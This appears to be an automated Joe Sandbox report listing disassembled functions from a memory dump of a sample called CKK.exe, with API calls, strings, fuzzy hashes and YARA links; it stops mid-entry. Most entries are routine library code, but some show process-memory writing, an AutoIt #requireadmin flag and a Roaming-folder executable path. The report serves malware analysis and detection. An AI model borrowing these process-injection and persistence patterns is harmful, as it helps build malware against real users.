GetTokenInformation.ADVAPI32 ref: 00EA1002

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 02ff084c8d1b68331c6aa745fc8bd3d8b14f42a238fe9d2d0555106af9166e73
Instruction ID: 7c77fcc91fead49e183515841903845c7a65768db442f8b3c8d980066b8ca2d7
Opcode Fuzzy Hash: 02ff084c8d1b68331c6aa745fc8bd3d8b14f42a238fe9d2d0555106af9166e73
Instruction Fuzzy Hash: B1F0C235102312EFD7210FA5EC8DF563B6EEF8A7A1F210455F905EB290CA30EC40CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00EA102A
GetLastError.KERNEL32 ref: 00EA1036
GetProcessHeap.KERNEL32 ref: 00EA1045
HeapAlloc.KERNEL32(00000000,?,00000003,?,00000000,?), ref: 00EA104C
GetTokenInformation.ADVAPI32 ref: 00EA1062

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18516ab73edff971aeb3cb4e5f38c300e2424b85c7d698aa45adb3b07ecd351a
Instruction ID: 46cb90a7561caadf5b62cc306215be335a7b23694a0d98121feeb7d4df6a8802
Opcode Fuzzy Hash: 18516ab73edff971aeb3cb4e5f38c300e2424b85c7d698aa45adb3b07ecd351a
Instruction Fuzzy Hash: 11F0C235102312EFD7211FA5EC48F563B6DEF8A7A1F200455F905EB290CA70E840DA60

Uniqueness

Uniqueness Score: -1.00%

Function 00EB030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00EB0324
CloseHandle.KERNEL32(?), ref: 00EB0331
CloseHandle.KERNEL32(?), ref: 00EB033E
CloseHandle.KERNEL32(?), ref: 00EB034B
CloseHandle.KERNEL32(?), ref: 00EB0358
CloseHandle.KERNEL32(?), ref: 00EB0365

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f426876a7d5014a6726304705876ebb49322127cf1dce596496e5d73ae446639
Instruction ID: 78392f5885e1dd9961208f84140a4a92bd5d30d7fb00fb11d704c16a696bcd54
Opcode Fuzzy Hash: f426876a7d5014a6726304705876ebb49322127cf1dce596496e5d73ae446639
Instruction Fuzzy Hash: 8F019872801B159FCB30AF66D890857FBF9BF602193159A3FD19662931C7B1B998CE80

Uniqueness

Uniqueness Score: -1.00%

Function 00E7D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E7D752

Part of subcall function 00E729C8: HeapFree.KERNEL32(00000000,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32 ref: 00E729F0

_free.LIBCMT ref: 00E7D764
_free.LIBCMT ref: 00E7D776
_free.LIBCMT ref: 00E7D788
_free.LIBCMT ref: 00E7D79A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3a40c81154fd80a507d7e0a6cde83b3b2daecc83d4be83ed20a626bf768495ee
Instruction ID: 0f2aa021962741d8a21089b66f5c351f36036ac5fd86597201046be43c65df55
Opcode Fuzzy Hash: 3a40c81154fd80a507d7e0a6cde83b3b2daecc83d4be83ed20a626bf768495ee
Instruction Fuzzy Hash: 8AF0F4325442086BC615EB78FDC5C167BEDBF84714B98A90AF24DF7541C720FC8057A4

Uniqueness

Uniqueness Score: -1.00%

Function 00E722A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E722BE

Part of subcall function 00E729C8: HeapFree.KERNEL32(00000000,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32 ref: 00E729F0

_free.LIBCMT ref: 00E722D0
_free.LIBCMT ref: 00E722E3
_free.LIBCMT ref: 00E722F4
_free.LIBCMT ref: 00E72305

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 25940cf52dd32361e562c7345c2e87eb06b88367000e52762ca273555b9b1faf
Instruction ID: e65591eb819ed53545c59c5401482ce965ab5dac436fccc7917a3d2953c789dc
Opcode Fuzzy Hash: 25940cf52dd32361e562c7345c2e87eb06b88367000e52762ca273555b9b1faf
Instruction Fuzzy Hash: 85F030704011588BC712AF64BC028897BE5F758750B07D60EF718E22B1CB750492BBE4

Uniqueness

Uniqueness Score: -1.00%

Function 00E595C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00E595D4
StrokeAndFillPath.GDI32 ref: 00E595F0
SelectObject.GDI32 ref: 00E59603
DeleteObject.GDI32 ref: 00E59616
StrokePath.GDI32(?), ref: 00E59631

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 6bbf8f66ed69c308f6845e42e128ba2d140a9d3f3db74ebb79ea42ce467da8a2
Instruction ID: b21b9a874611965ea41406fd076b523946a4e7cf33b05fcab4e5a232b6ed61ed
Opcode Fuzzy Hash: 6bbf8f66ed69c308f6845e42e128ba2d140a9d3f3db74ebb79ea42ce467da8a2
Instruction Fuzzy Hash: 2DF01430006209EFDB225F6AED18BE43B61FB003A6F548215FA25690F1C77189ADEF20

Uniqueness

Uniqueness Score: -1.00%

Function 00E70F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00E710F9
__freea.LIBCMT ref: 00E71117

Part of subcall function 00E71537: _free.LIBCMT ref: 00E7154F

Strings

am/pm, xrefs: 00E7117A
a/p, xrefs: 00E711DE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: e1239504ff7f474e1f0f45ef7139a7fb6d2dc2386d3d4c32ebddb557d0b1aae2
Instruction ID: 79363974f0a2caa56b8139e7d365087b392a91a3c31ee3966ad40b883119d734
Opcode Fuzzy Hash: e1239504ff7f474e1f0f45ef7139a7fb6d2dc2386d3d4c32ebddb557d0b1aae2
Instruction Fuzzy Hash: C9D13331900346EADB288F6CC885BFAB7B0EF01308F25E199E90DBB651D3359D80DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E78A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?), ref: 00E78B6E
GetLastError.KERNEL32 ref: 00E78B7A
__dosmaperr.LIBCMT ref: 00E78B81

Strings

., xrefs: 00E78A63

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .
API String ID: 2434981716-3963672497
Opcode ID: 15eaf04ec6a3e2ceca022eeca67ee18efd65f2d46f121f1461ed7202f5db236f
Instruction ID: fa8d5bb16e6b8ecbd6563aa16254f46a6b8ab2c2d574a6daa59093ced2a85889
Opcode Fuzzy Hash: 15eaf04ec6a3e2ceca022eeca67ee18efd65f2d46f121f1461ed7202f5db236f
Instruction Fuzzy Hash: 8141AC74604045AFCB249F24D989ABD3FE5DF95304F28E1AAF88CA7242DE318C03A790

Uniqueness

Uniqueness Score: -1.00%

Function 00EA2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000), ref: 00EAB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00EA2760

Part of subcall function 00EAB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000), ref: 00EAB3F8

Part of subcall function 00EAB32A: GetWindowThreadProcessId.USER32(?,?), ref: 00EAB355
Part of subcall function 00EAB32A: OpenProcess.KERNEL32(00000438,00000000,?), ref: 00EAB365
Part of subcall function 00EAB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004), ref: 00EAB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EA27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EA281A

Strings

@, xrefs: 00EA2832

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 534e84e9ffff583c87ed146a723acaa7708dd14a0f9f1d70a481a31a87190cc4
Instruction ID: 9a16392ed31f36d3fa3d1925896d3285d41cc600fa1069b4df2214cd7bc86278
Opcode Fuzzy Hash: 534e84e9ffff583c87ed146a723acaa7708dd14a0f9f1d70a481a31a87190cc4
Instruction Fuzzy Hash: 91412E72900218AFDB10DFA4CD45ADEBBB8EF0A700F105099FA55BB181DB707E49CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00E7172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00E71769
_free.LIBCMT ref: 00E71834
_free.LIBCMT ref: 00E7183E

Strings

C:\Users\user\AppData\Roaming\CKK.exe, xrefs: 00E71760, 00E71767, 00E71796, 00E717CE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Roaming\CKK.exe
API String ID: 2506810119-112244442
Opcode ID: 99909a11e41dea092f114fc9a71a2a78eb670fb9f7e90e00c4b6160cafd95510
Instruction ID: a57ff9def3c2e8460bba43a35f9d801641de3cc91962fa96e032715a57bebcbf
Opcode Fuzzy Hash: 99909a11e41dea092f114fc9a71a2a78eb670fb9f7e90e00c4b6160cafd95510
Instruction Fuzzy Hash: FB318071A00358AFDB25DF99D881D9EBBFCEB85310B1491AAF908E7211D6708E40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EAC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00EAC306
DeleteMenu.USER32 ref: 00EAC34C
DeleteMenu.USER32 ref: 00EAC395

Strings

0, xrefs: 00EAC2DF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 62baf5b57b6138a21614c0291b9acc3fa58a1b2113dfbb026950c8716d1e0b2e
Instruction ID: 147338d728e213bc40fe0f33075cf6917c662c7645ebafba140564f7880a5a96
Opcode Fuzzy Hash: 62baf5b57b6138a21614c0291b9acc3fa58a1b2113dfbb026950c8716d1e0b2e
Instruction Fuzzy Hash: DD41B6312043019FDB24DF25D844B5ABBE4EF8A314F24966DF965AB2D1D770F908CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00ED4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00ED44AA
GetWindowLongW.USER32 ref: 00ED44C7
SetWindowLongW.USER32 ref: 00ED44D7

Strings

SysTreeView32, xrefs: 00ED447C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: bc4fac9f7f90270a69a0e95467595796619dfa97ee4dc6cbdc0e79c7b7ce097c
Instruction ID: f4e7309c2971d5131bac03f48c922d94844e0c3b454c94efd4aa8e64ae3f3524
Opcode Fuzzy Hash: bc4fac9f7f90270a69a0e95467595796619dfa97ee4dc6cbdc0e79c7b7ce097c
Instruction Fuzzy Hash: 92318D71210206AFDF219E38EC45BEA77A9EB18338F206716F975A22D0D770EC969750

Uniqueness

Uniqueness Score: -1.00%

Function 00EA6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32 ref: 00EA6EED
VariantCopyInd.OLEAUT32(?,?), ref: 00EA6F08
VariantClear.OLEAUT32 ref: 00EA6F12

Strings

*j, xrefs: 00EA6E8B, 00EA6E90, 00EA6EF8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *j
API String ID: 2173805711-1845181700
Opcode ID: a82a0c5c02af5120b99e7493cd7eaac95f42710ceb1f1baa257e4d08787ff74c
Instruction ID: 1bf968b1655257d7a597c45bea22f64bf146efd910545158aa018b3ccc740453
Opcode Fuzzy Hash: a82a0c5c02af5120b99e7493cd7eaac95f42710ceb1f1baa257e4d08787ff74c
Instruction Fuzzy Hash: 7531B175704215DFCB04AFA4E8519BD77B6EF8B304B141499F8026F2A1C734E916DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00EC304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC335B: WideCharToMultiByte.KERNEL32 ref: 00EC3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00EC307A
_wcslen.LIBCMT ref: 00EC309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00EC3106

Strings

255.255.255.255, xrefs: 00EC3095, 00EC309A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: abdadaaf70145b92187e893ae56789abfe46c910027acf83e9dc30ffcd70d2fc
Instruction ID: 82b254272116de5906a97e65622141bb0e56bbfe8f86c201051f37d155e0578a
Opcode Fuzzy Hash: abdadaaf70145b92187e893ae56789abfe46c910027acf83e9dc30ffcd70d2fc
Instruction Fuzzy Hash: 0031A33A6002019FCB10CF39D686FAA77E0EF54318F28D059E915AB392D732EE46C761

Uniqueness

Uniqueness Score: -1.00%

Function 00ED4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00ED4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00ED4713
DestroyWindow.USER32 ref: 00ED471A

Strings

msctls_updown32, xrefs: 00ED4684

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f86fbbc50f7583eb00dd39209b388aaa2cbdecd44331c83bb5940f41f3d6c6d9
Instruction ID: ddad5523a81194be1017c5f5903bb85759fdb9c79842cb5d381445d90edacbf5
Opcode Fuzzy Hash: f86fbbc50f7583eb00dd39209b388aaa2cbdecd44331c83bb5940f41f3d6c6d9
Instruction Fuzzy Hash: 2D2151F5600209AFEB10DF64DCC1DA737EDEB5A3A8B14105AF610A7391CB71EC12DA60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EA961D

Strings

#OnAutoItStartRegister, xrefs: 00EA95F3
#requireadmin, xrefs: 00EA95D9
#notrayicon, xrefs: 00EA95B7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: a00f9399df49f70daa21e45f3405acc64a11a33d7a796503f57c7384f580cd71
Instruction ID: 1d98ce326d18496520cef90a5a52cf5b25fb8acc13f31e6880b524633ef6c491
Opcode Fuzzy Hash: a00f9399df49f70daa21e45f3405acc64a11a33d7a796503f57c7384f580cd71
Instruction Fuzzy Hash: D121357264421166D331EA24AC02FBB73D8DF9A314F106426F94ABF182EB51BD52C2E5

Uniqueness

Uniqueness Score: -1.00%

Function 00ED37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00ED3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00ED3850
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00ED3876

Strings

Listbox, xrefs: 00ED380F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: a8714103e5e488eb544ed7d1e16fb96abb7eefaa25bed9419e9240bea7763c2d
Instruction ID: 7839afd483a48a3b45aff4310c0440d487b00c366db7fc36c346673ad3e0b482
Opcode Fuzzy Hash: a8714103e5e488eb544ed7d1e16fb96abb7eefaa25bed9419e9240bea7763c2d
Instruction Fuzzy Hash: 8721F272600218BFEF218F64DC41FBB376EEF89754F109116F900AB290C671DC1297A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EB49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB4A08
GetVolumeInformationW.KERNEL32 ref: 00EB4A5C
SetErrorMode.KERNEL32(00000000), ref: 00EB4AD0

Strings

%lu, xrefs: 00EB4A6F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
